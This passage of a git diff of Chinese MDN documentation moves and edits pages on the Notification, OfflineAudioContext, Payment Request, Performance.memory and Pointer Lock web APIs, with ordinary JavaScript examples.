如果权限尚未被授予,那么应用不得不通过 {{domxref("Notification.requestPermission()")}} 方法让用户进行选择。这个方法接受一个回调函数,一旦用户回应了显示通知的请求,将会调用这个函数。

+ +

通常你应在你的应用首次初始化的时候请求显示通知的权限:

+ +
window.addEventListener('load', function () {
+  Notification.requestPermission(function (status) {
+    // 这将使我们能在 Chrome/Safari 中使用 Notification.permission
+    if (Notification.permission !== status) {
+      Notification.permission = status;
+    }
+  });
+});
+ +
+

注:Chrome 不允许你在 load 事件处理中调用 {{domxref("Notification.requestPermission()")}} (参见 issue 274284)。

+
+ +

Notification API 的清单权限

+ +

请注意 Notification API 不是 {{Glossary("privileged")}} 或 {{Glossary("certified")}},因此当你在一个开放 web 应用中使用它时,你仍需要在你的 manifest.webapp 文件中包含以下项目:

+ +
"permissions": {
+  "desktop-notification": {
+    "description": "Needed for creating system notifications."
+  }
+}
+ +
+

注:当安装应用程序时,你不需要通过上面的代码显式的请求权限,但您仍然需要在触发通知之前取得权限项。

+
+ +

创建通知

+ +

创建通知很简单,只需要用 {{domxref("Notification")}} 构造方法。这个构造函数需要一个用来显示在通知内的标题以及一些用来增强通知的选项,例如 {{domxref("Notification.icon","icon")}} 或文本 {{domxref("Notification.body","body")}}。

+ +

一旦通知被创建出来,它会立即被显示出来。为了跟踪通知当前的状态,在 {{domxref("Notification")}} 实例层面上会有4个事件被触发:

+ +
+
{{event("show")}}
+
当通知被显示给用户时触发。
+
{{event("click")}}
+
当用户点击通知时触发。
+
{{event("close")}}
+
当通知被关闭时触发。
+
{{event("error")}}
+
当通知发生错误的时候触发。这通常是因为通知由于某些原因而无法显示。
+
+ +

这些事件可以通过事件处理跟踪 {{domxref("Notification.onshow","onshow")}}、{{domxref("Notification.onclick","onclick")}}、{{domxref("Notification.onclose","onclose")}} 和 {{domxref("Notification.onerror","onerror")}}。因为 {{domxref("Notification")}} 同样继承自 {{domxref("EventTarget")}},因此可以对它调用 {{domxref("EventTarget.addEventListener","addEventListener()")}} 方法。

+ +
+

注:Firefox 和 Safari 会在一定时间后自动关闭通知(大约4秒)。这也会发生在操作系统层面。

+ +

当然你也可以通过代码做到,调用 {{domxref("Notification.close()")}} 方法,就像下面的代码一样:

+ +
var n = new Notification("Hi!");
+n.onshow = function () {
+  setTimeout(n.close.bind(n), 5000);
+}
+
+ +

当你接收到一个“close”事件时,并不能保证这个通知是被用户关闭的。这是符合规范的,其中指出:“当一个通知被关闭时,通知的关闭动作都必须执行,不论是底层通知平台导致,还是用户导致。”

+
+ +

简单的例子

+ +

假定有如下的 HTML:

+ +
<button>Notify me!</button>
+ +

它可能通过这样的方式处理通知:

+ +
window.addEventListener('load', function () {
+  // 首先,让我们检查我们是否有权限发出通知
+  // 如果没有,我们就请求获得权限
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // 如果用户同意就创建一个通知
+    if (window.Notification && Notification.permission === "granted") {
+      var n = new Notification("Hi!");
+    }
+
+    // 如果用户没有选择是否显示通知
+    // 注:因为在 Chrome 中我们无法确定 permission 属性是否有值,因此
+    // 检查该属性的值是否是 "default" 是不安全的。
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // 如果用户同意了
+        if (status === "granted") {
+          var n = new Notification("Hi!");
+        }
+
+        // 否则,我们可以让步的使用常规模态的 alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // 如果用户拒绝接受通知
+    else {
+      // 我们可以让步的使用常规模态的 alert
+      alert("Hi!");
+    }
+  });
+});
+ +

这是实际的结果:

+ +

{{ EmbedLiveSample('Simple_example', '100%', 30) }}

+ +

处理重复的通知

+ +

某些情况下对于用户来说,显示大量通知是件令人痛苦的事情。比如,如果一个即时通信应用向用户提示每一条传入的消息。为了避免数以百计的不必要通知铺满用户的桌面,可能需要接管一个挂起消息的队列。

+ +

因此,需要为新建的通知添加一个标记。如果有一条通知也具有一个相同的标记,并且还没有被显示,那么这条新通知将会替换上一条通知。如果有一条通知具有一个相同的标记,并且已经显示出来了,那么上一条通知将会被关闭,新通知将会被显示出来。

+ +

使用标记的例子

+ +

假定有如下 HTML:

+ +
<button>Notify me!</button>
+ +

它有可能通过这种方式处理的多个通知:

+ +
window.addEventListener('load', function () {
+  // 首先,我们检查是否具有权限显示通知
+  // 如果没有,我们就申请权限
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // 如果用户同意接收通知,我们就尝试发送10条通知
+    if (window.Notification && Notification.permission === "granted") {
+      for (var i = 0; i < 10; i++) {
+        // 感谢标记,我们应该只看到内容为 "Hi! 9" 的通知
+        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+      }
+    }
+
+    // 如果用户没有选择是否同意显示通知
+    // 注:由于在 Chrome 中不能确定 permission 属性是否有值,因此检查
+    // 该属性值是否为 "default" 是不安全的。
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // 如果用户同意
+        if (status === "granted") {
+          for (var i = 0; i < 10; i++) {
+            // Thanks to the tag, we should only see the "Hi! 9" notification
+            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+          }
+        }
+
+        // 否则改用 alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // 如果用户拒绝
+    else {
+      // 改用 alert
+      alert("Hi!");
+    }
+  });
+});
+ +

实际效果如下:

+ +

{{ EmbedLiveSample('.E5.A4.84.E7.90.86.E9.87.8D.E5.A4.8D.E7.9A.84.E9.80.9A.E7.9F.A5', '100%', 30) }}

+ +

接收点击应用通知的通知

+ +

当用户点击一个由应用产生的通知时,视情况而定,你将会有两种方式被告知点击事件发生了:

+ +
    +
  1. 如果你的程序没有被关闭或转入后台,那么在你会收到一个点击事件。
  2. +
  3. 其他情况下会收到一条系统消息。
  4. +
+ +

参考 这个代码片段 作为例子,展示了如何处理。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
+ +

浏览器兼容性

+ +

{{page("/zh-CN/Web/API/Notification",".E6.B5.8F.E8.A7.88.E5.99.A8.E5.85.BC.E5.AE.B9.E6.80.A7")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/offlineaudiocontext/complete/index.html b/files/zh-cn/web/api/offlineaudiocontext/complete/index.html deleted file mode 100644 index 74bdb5f3ff..0000000000 --- a/files/zh-cn/web/api/offlineaudiocontext/complete/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 'OfflineAudioContext: complete event' -slug: Web/API/OfflineAudioContext/complete -translation_of: Web/API/OfflineAudioContext/complete_event ---- -

{{DefaultAPISidebar("Web Audio API")}}

- -

complete当离线音频上下文的呈现完成时,将触发{{domxref("OfflineAudioContext")}}接口事件。

- - - - - - - - - - - - - - - - - - - - - - - - -
泡泡没有
取消没有
默认操作没有
接口{{domxref( "OfflineAudioCompletionEvent")}}
事件处理程序属性{{domxref( "OfflineAudioContext.oncomplete")}}
- -

例子

- -

处理完成后,您可能希望使用oncomplete处理程序提示用户现在可以播放音频,并启用播放按钮:

- -
offlineAudioCtx.addEventListener('complete',()=> {
-  console.log('Offline audio processing now complete');
-  showModalDialog('Song processed and ready to play');
-  playBtn.disabled = false;
-})
- -

You can also set up the event handler using the {{domxref("OfflineAudioContext.oncomplete")}} property:

- -
offlineAudioCtx.oncomplete = function() {
-  console.log('Offline audio processing now complete');
-  showModalDialog('Song processed and ready to play');
-  playBtn.disabled = false;
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- - - -

{{Compat("api.OfflineAudioContext.complete_event")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html new file mode 100644 index 0000000000..74bdb5f3ff --- /dev/null +++ b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html @@ -0,0 +1,81 @@ +--- +title: 'OfflineAudioContext: complete event' +slug: Web/API/OfflineAudioContext/complete +translation_of: Web/API/OfflineAudioContext/complete_event +--- +

{{DefaultAPISidebar("Web Audio API")}}

+ +

complete当离线音频上下文的呈现完成时,将触发{{domxref("OfflineAudioContext")}}接口事件。

+ + + + + + + + + + + + + + + + + + + + + + + + +
泡泡没有
取消没有
默认操作没有
接口{{domxref( "OfflineAudioCompletionEvent")}}
事件处理程序属性{{domxref( "OfflineAudioContext.oncomplete")}}
+ +

例子

+ +

处理完成后,您可能希望使用oncomplete处理程序提示用户现在可以播放音频,并启用播放按钮:

+ +
offlineAudioCtx.addEventListener('complete',()=> {
+  console.log('Offline audio processing now complete');
+  showModalDialog('Song processed and ready to play');
+  playBtn.disabled = false;
+})
+ +

You can also set up the event handler using the {{domxref("OfflineAudioContext.oncomplete")}} property:

+ +
offlineAudioCtx.oncomplete = function() {
+  console.log('Offline audio processing now complete');
+  showModalDialog('Song processed and ready to play');
+  playBtn.disabled = false;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.OfflineAudioContext.complete_event")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/payment_request_api/concepts/index.html b/files/zh-cn/web/api/payment_request_api/concepts/index.html new file mode 100644 index 0000000000..a6772dc5be --- /dev/null +++ b/files/zh-cn/web/api/payment_request_api/concepts/index.html @@ -0,0 +1,128 @@ +--- +title: 交易过程的基本概念 +slug: Web/API/支付_请求_接口/Concepts +tags: + - API + - Apple Pay + - 中间状态 + - 交易 + - 付款方 + - 付款方式 + - 应用程序接口 + - 指南 + - 支付 + - 支付请求API + - 收款方 + - 贸易 +translation_of: Web/API/Payment_Request_API/Concepts +--- +

{{securecontext_header}}{{DefaultAPISidebar("Payment Request API")}}{{draft}}

+ +

交易请求API使在网站或应用上进行的交易变得更便捷。在这篇文档中,我们将了解此接口如何运作,以及各个组件的功能。

+ +

术语

+ +

在深入了解此API的工作方式前,你应该了解以下术语。

+ +
+
收款方(或商家)
+
商家可以是个人,也可以是一个组织。商家扮演的角色是在自己的网站或应用上通过支付请求API收款。
+
付款方
+
付款方可以是个人,也可以是一个组织。付款方扮演的角色是,在网站或应用上购买物品。支付流程要求付款方先自证身份,然后授权付款。
+
支付方式
+
付款的方式,例如信用卡或线上支付服务。
+
支付方式提供方
+
对某种特定支付方式提供技术支持的组织。例如,使用信用卡付钱时,信用卡交易处理就是一种支付方式提供方。
+
交易处理机
+
一段代码,作用是与付款方式提供方交互,进行交易处理。
+
+ +

某些交易处理机会用到商家认证。商家认证是指以某种方式认证商家的身份,可能的方式包括密码学机制(例如公钥)。认证成功后的商家得以和交易处理机进行交互。

+ +

支付方式识别码

+ +

交易处理机是通过支付方式识别码识别的。交易方式识别码是一个指向唯一交易处理机的字符串,它可以是一套已成标准的识别码,也可以是一个URL。后者被交易处理服务同时用于两种用途:自证身份和处理交易。

+ +

标准化的交易方式识别码

+ +

目前注册在案的只有一套标准化交易方式识别码。(未来可能会添加更多。)

+ +
+
基本卡(basic-card, 输入一次银行卡信息后即可多次消费的支付方式)
+
?根据基本卡规范进行交易处理。?详细说明请参见{{domxref("BasicCardRequest")}}。此处应该有对基本卡规范和使用方法进行说明的文档。
+
+ +

基于URL的交易方式识别码

+ +

这种识别方式的具体使用将会极大程度地依赖不同服务各自的规范。比如,某种服务可能使用多个URL链接,不同URL的使用依赖于API的版本和通信方式等。

+ +
+
https://apple.com/apple-pay
+
交易使用Apple Pay服务。目前,只有Safari浏览器支持这种交易方式。
+
https://google.com/pay
+
交易使用Google Pay. 目前,只有Chrome及Chrome内核的浏览器支持这种交易方式。
+
+ +

交易处理机的功能

+ +

{{Glossary("user agent")}}内部机制支持不同类型的交易。另外,你还可以调用交易处理API来支持更多相应的支付方式提供方(前提是你使用的浏览器支持这些API的使用)。不论使用哪种方式,交易处理机的功能都是如下几条:

+ +
    +
  1. 确保交易正确进行。 交易正确进行的条件取决于不同的支付类型和用户的支付请求;例如,如果用户选择了信用卡支付,而收款方并不支持这种方式,交易就无法正确进行。
  2. +
  3. 响应用户代理发起的对商家进行认证的请求(在处理机支持商家认证的前提下)。 详细说明请参考{{anch("Merchant validation")}}。
  4. +
  5. 验证用户提交的信息有资格发起一次有效交易。这一步骤会创建并返回一个基于具体支付方式的对象,此对象包含处理交易所需要的信息。
  6. +
+ +

商家认证

+ +

一些交易处理机包含商家认证步骤商家认证是指,通过某种方式识别商家的身份,使用的方式通常是“密码学挑战”。没有成功通过认证的商家不被允许使用交易处理机。

+ +

具体的认证方式由交易处理机决定,也完全可以省去这种认证。最终,网站或应用唯一要做的就是就是获取商家的认证密钥并传输给{{domxref("MerchantValidationEvent.complete", "complete()")}}事件的方法。

+ +
paymentRequest.onmerchantvalidation = function(event) {
+  event.complete(fetchValidationData(event.validationURL));
+}
+
+ +

在这个例子中,由fetchValidationData()方法加载由validationURL提供的认证信息。要注意到的是,这个方法必须由商家服务器转发,因为通常情况下,客户端不会主动访问用于认证的URL。

+ +

然后,该数据(或用来解析该数据的{{jsxref("Promise")}})被传送给交易处理机的complete()方法。交易处理机可以用该数据获取更多信息或是进行更多重的算法解析,以认证商家对处理机的使用权。

+ +

因此,注意到如下事实很重要:{{Glossary("user agent")}}永远不会发送{{event("merchantvalidation")}}事件,除非用户代理自身装载了交易处理机。例如,Safari浏览器本身即支持Apple Pay,而Apple Pay的交易处理机可据此向客户端发送merchantvalidation、指示客户端获取服务器上的认证信息,并将其传送给交易处理机的complete(),来为商品进行支付。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}初始定义。
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义了 {{domxref("BasicCardRequest")}} 和 {{domxref("BasicCardResponse")}}.
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义了支付方式识别码和认证方式,并在适用的情况下铸币或在W3C规范中进行登记。
+ +

相关文档

+ + diff --git a/files/zh-cn/web/api/payment_request_api/index.html b/files/zh-cn/web/api/payment_request_api/index.html new file mode 100644 index 0000000000..0df4261062 --- /dev/null +++ b/files/zh-cn/web/api/payment_request_api/index.html @@ -0,0 +1,136 @@ +--- +title: 支付请求接口 +slug: Web/API/支付_请求_接口 +tags: + - 中间状态 + - 信用卡 + - 到岸卸货 + - 参考 + - 应用程序接口 + - 支付 + - 支付请求 + - 支付请求接口 + - 概述 + - 贸易 +translation_of: Web/API/Payment_Request_API +--- +
{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
+ +

支付请求API为商家和支付者提供了统一的用户体验。它并非提供一种新的支付方式,而是让用户可以在原有的支付方式中进行选择,并使商家可以获悉用户的支付情况。

+ +

支付请求的概念和使用

+ +

在网上购物时,使许多用户中止购物车结算的原因都可以被归结为填写支付信息表单时的步骤繁多导致的费时费力。支付请求API正是被用以减少支付步骤,逐步彻底消除表单的填写。它的目的是简化结算流程,而实现此目的的方式是通过保存用户相关信息并传送给商家。在理想的情况下,用户将不需要填写HTML表单。

+ +

使用支付请求API中“保存卡信息并自动扣款”(使用银行卡支付时)的优点:

+ + + +

当用户在页面上进行操作发起一次支付,比如点击“购买”按钮时,网页会相应地创建一个{{domxref("PaymentRequest")}}对象。PaymentRequest对象允许网页与用户代理交互,传送用户输入的用以交易的信息。

+ +

你可以在Using the Payment Request API中查看完整指南。

+ +
+

注意:此API只有在设置了{{htmlattrxref("allowpaymentrequest","iframe")}}属性时才支持{{htmlelement("iframe")}}元素的跨域使用。

+
+ +

接口

+ +
+
{{domxref('PaymentAddress')}}
+
一个包含地址信息的对象;例如,可以包含账单地址和收货地址。
+
{{domxref('PaymentRequest')}}
+
一个提供了创建和管理 {{Glossary("user agent", "user agent's")}}支付接口的对象。
+
{{domxref('PaymentRequestEvent')}}
+
当{{domxref("PaymentRequest")}}发生时,被传送给支付回调函数的事件。
+
{{domxref('PaymentRequestUpdateEvent')}}
+
当用户进行操作时,使网页可以更新相应的支付信息的事件。
+
{{domxref('PaymentMethodChangeEvent')}}
+
代表支付凭证改变(例如,用户将支付方式从信用卡改为了借记卡)的事件。
+
{{domxref('PaymentResponse')}}
+
一个对象,当用户选择了一种支付方式并同意发起交易请求后被返回。
+
{{domxref('MerchantValidationEvent')}}
+
代表浏览器要求商家(网站)证实自身被允许使用某种特定的支付回调函数(例如,注册了对Apply Pay支付方式的使用)的事件。
+
+ +
+
+ +

词典

+ +
+
{{domxref("AddressErrors")}}
+
一个由字符串组成的词典,包含用以描述任何{{domxref("PaymentAddress")}}条目中可能出现的报错的相应描述。
+
{{domxref("PayerErrors")}}
+
一个由字符串组成的词典,包含了{{domxref("PaymentResponse")}}中出现的有关邮件地址、电话号码及姓名的报错的相应描述。
+
{{domxref("PaymentDetailsUpdate")}}
+
一个对象,用于描述当服务器在发起支付请求后且在用户与之交互前,需要更新支付信息的事件。
+
+ +

“保存卡信息并自动扣款”规范的相关词典

+ +
+
{{domxref("BasicCardChangeDetails")}}
+
一个对象,提供了当用户更改支付信息时,{{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}}中传送通过{{event("paymentmethodchange")}}事件传送给 {{domxref("PaymentRequest")}}的删节的地址信息。
+
{{domxref("BasicCardErrors")}}
+
一个对象,提供了{{domxref("BasicCardResponse")}}中无效信息的相关错误提示。错误发生时,该对象被传送给{{domxref("PaymentRequest")}},作为{{domxref("PaymentValidationErrors")}}对象中{{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}}属性的值。
+
{{domxref('BasicCardRequest')}}
+
定义了支付请求信息(例如“卡类型”)对象的结构。
+
{{domxref('BasicCardResponse')}}
+
定义了支付请求响应(例如被使用的银行卡的“卡号”、“有效期”和“账单地址”)对象的结构。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}原始定义
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义信用卡支付回调函数中的{{domxref("BasicCardRequest")}}和{{domxref("BasicCardResponse")}}
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义支付方式的识别码和认证方式。对于某些适用的场景,通过W3C进行铸币和注册。
+ +

浏览器兼容性

+ +
+

支付请求接口

+ +
+ + +

{{Compat("api.PaymentRequest", 0)}}

+
+
+ +

相关文档

+ + diff --git a/files/zh-cn/web/api/performance/memory/index.html b/files/zh-cn/web/api/performance/memory/index.html new file mode 100644 index 0000000000..e9f5047d4e --- /dev/null +++ b/files/zh-cn/web/api/performance/memory/index.html @@ -0,0 +1,42 @@ +--- +title: Performance.memory +slug: Web/API/Performance/内存 +translation_of: Web/API/Performance/memory +--- +

{{APIRef}}

+ +

语法

+ +
timingInfo = performance.memory
+ +

属性

+ +
+
jsHeapSizeLimit
+
上下文内可用堆的最大体积,以字节计算。
+
totalJSHeapSize
+
 已分配的堆体积,以字节计算。
+
+ +
+
usedJSHeapSize
+
当前 JS 堆活跃段(segment)的体积,以字节计算。
+
+ +

规范

+ +

无。

+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Performance.memory")}}

+
+ +

查看更多

+ + diff --git "a/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" "b/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" deleted file mode 100644 index e9f5047d4e..0000000000 --- "a/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Performance.memory -slug: Web/API/Performance/内存 -translation_of: Web/API/Performance/memory ---- -

{{APIRef}}

- -

语法

- -
timingInfo = performance.memory
- -

属性

- -
-
jsHeapSizeLimit
-
上下文内可用堆的最大体积,以字节计算。
-
totalJSHeapSize
-
 已分配的堆体积,以字节计算。
-
- -
-
usedJSHeapSize
-
当前 JS 堆活跃段(segment)的体积,以字节计算。
-
- -

规范

- -

无。

- -

浏览器兼容性

- -
- - -

{{Compat("api.Performance.memory")}}

-
- -

查看更多

- - diff --git a/files/zh-cn/web/api/pointer_lock_api/index.html b/files/zh-cn/web/api/pointer_lock_api/index.html new file mode 100644 index 0000000000..c22525ddb7 --- /dev/null +++ b/files/zh-cn/web/api/pointer_lock_api/index.html @@ -0,0 +1,267 @@ +--- +title: Pointer Lock API +slug: API/Pointer_Lock_API +translation_of: Web/API/Pointer_Lock_API +--- +

{{ SeeCompatTable() }}

+ +

指针锁定(以前叫做鼠标锁定) 提供了一种输入方法,这种方法是基于鼠标随着时间推移的运动的(也就是,deltas),而不仅是鼠标光标的绝对位置。通过它可以访问原始的鼠标运动,把鼠标事件的目标锁定到一个单独的元素,这就消除了鼠标在一个单独的方向上到底可以移动多远这方面的限制,并从视图中删去光标。

+ +

这个 API 对于需要大量的鼠标输入来控制运动,旋转物体,以及更改项目的应用程序来说非常有用。对高度视觉化的应用程序尤其重要,例如那些使用第一人称视角的应用程序,以及 3D 视图和建模。

+ +

举例来说,你可以创建让你的用户简单地通过移动鼠标而不需要点击任何按钮就可以控制视角的应用。那么这些按钮就可以被用作其他动作。这类鼠标输入对于查看地图,卫星图像,或者第一人称场景(例如在一个游戏中或者一个全景视频中)是非常方便使用的。

+ +

即使在光标移到浏览器或者屏幕区域之外,指针锁定也能够让你访问鼠标事件。例如,你的用户可以通过不断地移动鼠标来持续旋转或操纵一个 3D 模型。如果没有指针锁定的话,这些旋转或操纵会在指针到达浏览器或者屏幕边缘的那一刻停止。尤其是游戏玩家将会因为此功能而兴奋不已,因为他们可以疯狂地点击按钮,来回地滑动鼠标光标,而不必担心离开了游戏区域,进而不小心误点到另外一个应用程序上,结果将鼠标焦点移离了游戏。杯具了!

+ +

基本概念

+ +

指针锁定和鼠标捕获有关。鼠标捕获在一个鼠标被拖曳时可以向一个目标元素持续传递有关事件,但是当鼠标按钮被放开时就会停止。指针锁定和鼠标捕获在以下方面有所不同:

+ + + +

示例

+ +

下面是一个如何在你的网页中设置指针锁定的示例。

+ +
<button onclick="lockPointer();">锁住它!</button>
+<div id="pointer-lock-element"></div>
+<script>
+// 注意: 截止本文撰写时, 仅有 Mozilla 和 WebKit 支持指针锁定。
+
+// 我们将要使之全屏并指针锁定的元素。
+var elem;
+
+document.addEventListener("mousemove", function(e) {
+  var movementX = e.movementX       ||
+                  e.mozMovementX    ||
+                  e.webkitMovementX ||
+                  0,
+      movementY = e.movementY       ||
+                  e.mozMovementY    ||
+                  e.webkitMovementY ||
+                  0;
+
+  // 打印鼠标移动的增量值。
+  console.log("movementX=" + movementX, "movementY=" + movementY);
+}, false);
+
+function fullscreenChange() {
+  if (document.webkitFullscreenElement === elem ||
+      document.mozFullscreenElement === elem ||
+      document.mozFullScreenElement === elem) { // 较旧的 API 大写 'S'.
+    // 元素进入全屏模式了,现在我们可以请求指针锁定。
+    elem.requestPointerLock = elem.requestPointerLock    ||
+                              elem.mozRequestPointerLock ||
+                              elem.webkitRequestPointerLock;
+    elem.requestPointerLock();
+  }
+}
+
+document.addEventListener('fullscreenchange', fullscreenChange, false);
+document.addEventListener('mozfullscreenchange', fullscreenChange, false);
+document.addEventListener('webkitfullscreenchange', fullscreenChange, false);
+
+function pointerLockChange() {
+  if (document.mozPointerLockElement === elem ||
+      document.webkitPointerLockElement === elem) {
+    console.log("指针锁定成功了。");
+  } else {
+    console.log("指针锁定已丢失。");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+function pointerLockError() {
+  console.log("锁定指针时出错。");
+}
+
+document.addEventListener('pointerlockerror', pointerLockError, false);
+document.addEventListener('mozpointerlockerror', pointerLockError, false);
+document.addEventListener('webkitpointerlockerror', pointerLockError, false);
+
+function lockPointer() {
+  elem = document.getElementById("pointer-lock-element");
+  // 开始于使元素进入全屏模式。目前的实现
+  // 要求元素在请求指针锁定前要处于全屏模式下
+  // -- 这在以后可能会发生改变。
+  elem.requestFullscreen = elem.requestFullscreen    ||
+                           elem.mozRequestFullscreen ||
+                           elem.mozRequestFullScreen || // 较旧的 API 把 ‘S’ 大写
+                           elem.webkitRequestFullscreen;
+  elem.requestFullscreen();
+}
+</script>
+
+ +

方法/属性 概述

+ +

Pointer lock API, 和 Fullscreen API 类似,通过添加新方法来扩展 DOM 元素, requestPointerLock, 目前还是厂商前缀。按下面这样来写:

+ +
element.webkitRequestPointerLock(); // Chrome
+
+element.mozRequestPointerLock(); // Firefox
+
+ +

目前 requestPointerLock 的实现还是和 requestFullScreen 以及 Fullscreen API 紧紧地绑在一起的。一个元素在能够被指针锁定之前,必须首先进入全屏模式。就像上面演示的那样,锁定指针的过程是异步的,使用 (pointerlockchange, pointerlockerror) 事件来表明请求是成功还是失败了。这和 Fullscreen API 的工作方式是一致的,它使用 requestFullScreen 方法,以及 fullscreenchangefullscreenerror 事件。

+ +

Pointer lock API 还扩展了 document 接口,添加了一个新的属性和一个新的方法。新的属性被用于访问当前被锁定的元素(如果有的话),并被命名为 pointerLockElement,目前也使用厂商前缀。 document 添加的新方法是 exitPointerLock ,顾名思义,它是用来退出指针锁定的。

+ +

pointerLockElement 属性适用于确定当前是否有被指针锁定的元素(例如,用来做一个布尔检查),以及当有元素被锁定时获取该元素的一个引用。下面是这两种用法的一个例子:

+ +
document.pointerLockElement = document.pointerLockElement    ||
+                              document.mozPointerLockElement ||
+                              document.webkitPointerLockElement;
+
+// 1) 用于布尔检查--我们被指针锁定了吗?
+if (!!document.pointerLockElement) {
+  // 指针被锁定
+} else {
+  // 指针未被锁定
+}
+
+// 2) 用于访问指针锁定的元素
+if (document.pointerLockElement === someElement) {
+  // someElement 当前被指针锁定
+}
+
+ +

documentexitPointerLock 方法被用来退出指针锁定,而且和 requestPointerLock 一样,使用 pointerlockchangepointerlockerror事件以异步方式工作:

+ +
document.exitPointerLock = document.exitPointerLock    ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;
+
+function pointerLockChange() {
+  document.pointerLockElement = document.pointerLockElement    ||
+                                document.mozPointerLockElement ||
+                                document.webkitPointerLockElement;
+
+  if (!!document.pointerLockElement) {
+    console.log("目前还是被锁定。");
+  } else {
+    console.log("已经退出锁定。");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+// 试图解除锁定
+document.exitPointerLock();
+
+ +

pointerlockchange 事件

+ +

当指针锁定状态改变时 - 例如,当调用 requestPointerLock, exitPointerLock,用户按下 ESC 键,等等。— pointerlockchange 事件被分发到 document。 这是一个简单事件所以不包含任何的额外数据。

+ +
该事件目前在 Firefox 中使用前缀的格式是 mozpointerlockchange ,在 Chrome 中是 webkitpointerlockchange。 
+ +

pointerlockerror 事件

+ +

当调用 requestPointerLockexitPointerLock而引发错误时,  pointerlockerror 事件被分发到 document。这是一个简单事件所以不包含任何的额外数据。

+ +
该事件目前在 Firefox 中被加上前缀为 mozpointerlockerror ,在 Chrome 中为 webkitpointerlockerror。 
+ +

鼠标事件扩展

+ +

Pointer lock API 使用 movement 属性扩展了标准的 MouseEvent

+ +
partial interface MouseEvent {
+    readonly attribute long movementX;
+    readonly attribute long movementY;
+};
+ +
movement 属性目前在 Firefox 中被加上前缀为 .mozMovementX.mozMovementY , 在 Chrome 中为.webkitMovementX.webkitMovementY
+ +

鼠标事件的两个新参数—movementX 和 movementY—提供了鼠标位置的变化情况。这两个参数的值,等于两个MouseEvent 属性( screenX 和 screenY)之间值的变化程度,这些 MouseEvent 属性被存储在两个连续的鼠标移动事件( eNow 和 ePrevious)中。换言之,指针锁定参数 movementX = eNow.screenX - ePrevious.screenX。(译注:不存在名为 eNow 或 ePrevious 的事件或属性,eNow 代指当前的鼠标移动事件,ePrevious 代指前一个鼠标移动事件)

+ +

锁定状态

+ +

当指针锁定被启动之后,正常的 MouseEvent 属性 clientX, clientY, screenX, 和 screenY ,保持不变,就像鼠标没有在移动一样。 movementXmovementY 属性持续提供鼠标的位置变化。如果鼠标在一个方向上持续移动,movementXmovementY的值是没有限制的。不存在鼠标光标的概念,而且光标无法移到窗口之外,而且也不会被屏幕边缘所固定。

+ +

未锁定状态

+ +

无论鼠标锁定状态是怎样的, movementX 和 movementY 参数一直有效,并且为了方便起见,甚至在未锁定状态也是有效的。

+ +

当鼠标被解除锁定,系统光标可以退出并重新进入浏览器窗口。如果发生这种情况,movementX 和 movementY 可能会被设置成0。

+ +

iframe 的限制

+ +

指针锁定一次只能锁定一个 iframe。如果你锁定了一个 iframe,你不能试图锁定另外一个 iframe 然后把目标转移到这个 iframe 上;指针锁定将会出错。为了避免这一问题,首先解锁那个锁定的 iframe,然后再锁定另外一个。

+ +

